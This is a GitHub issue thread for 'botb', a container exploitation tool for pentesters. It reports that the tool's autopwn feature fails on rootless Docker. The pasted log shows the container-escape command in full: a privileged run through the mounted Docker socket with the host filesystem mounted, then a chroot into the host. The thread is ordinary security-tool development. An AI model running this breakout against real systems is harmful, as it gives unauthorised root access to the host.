brompwnie / botb

A container analysis and exploitation tool for pentesters and engineers.
GNU General Public License v3.0
632 stars 59 forks source link

autopwn doesn't work with rootless containers #19

Closed raesene closed 3 years ago

raesene commented 3 years ago

I was just testing out rootless docker, so obviously trying botb -autopwn.

At the moment it's failing as --pid=host and --ipc=host don't work with rootless.

docker run -it -v /run/user/1000/docker.sock:/var/run/docker.sock raesene/alpine-containertools /bin/bash
bash-5.0# botb -autopwn
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /run/docker.sock
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///run/docker.sock run -ti --privileged --net=host --pid=host --ipc=host -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
./docker/docker: Error response from daemon: OCI runtime create failed: container_linux.go:370: starting container process caused: process_linux.go:459: container init caused: rootfs_linux.go:59: mounting "proc" to rootfs at "/proc" caused: operation not permitted: unknown.
[*] Successfully exited TTY
[+] Finished

A fix for this would probably be to detect the container is running in a user namespace, and then change the autopwn command to drop those two bits off.

brompwnie commented 3 years ago

Thanks for reporting this, definitely useful to know.

KatsuragiCSL commented 3 years ago

@brompwnie Hi I just created a pull request for this issue :)

brompwnie commented 3 years ago

Thanks for the pull-request @KatsuragiCSL, I'll take a look soon.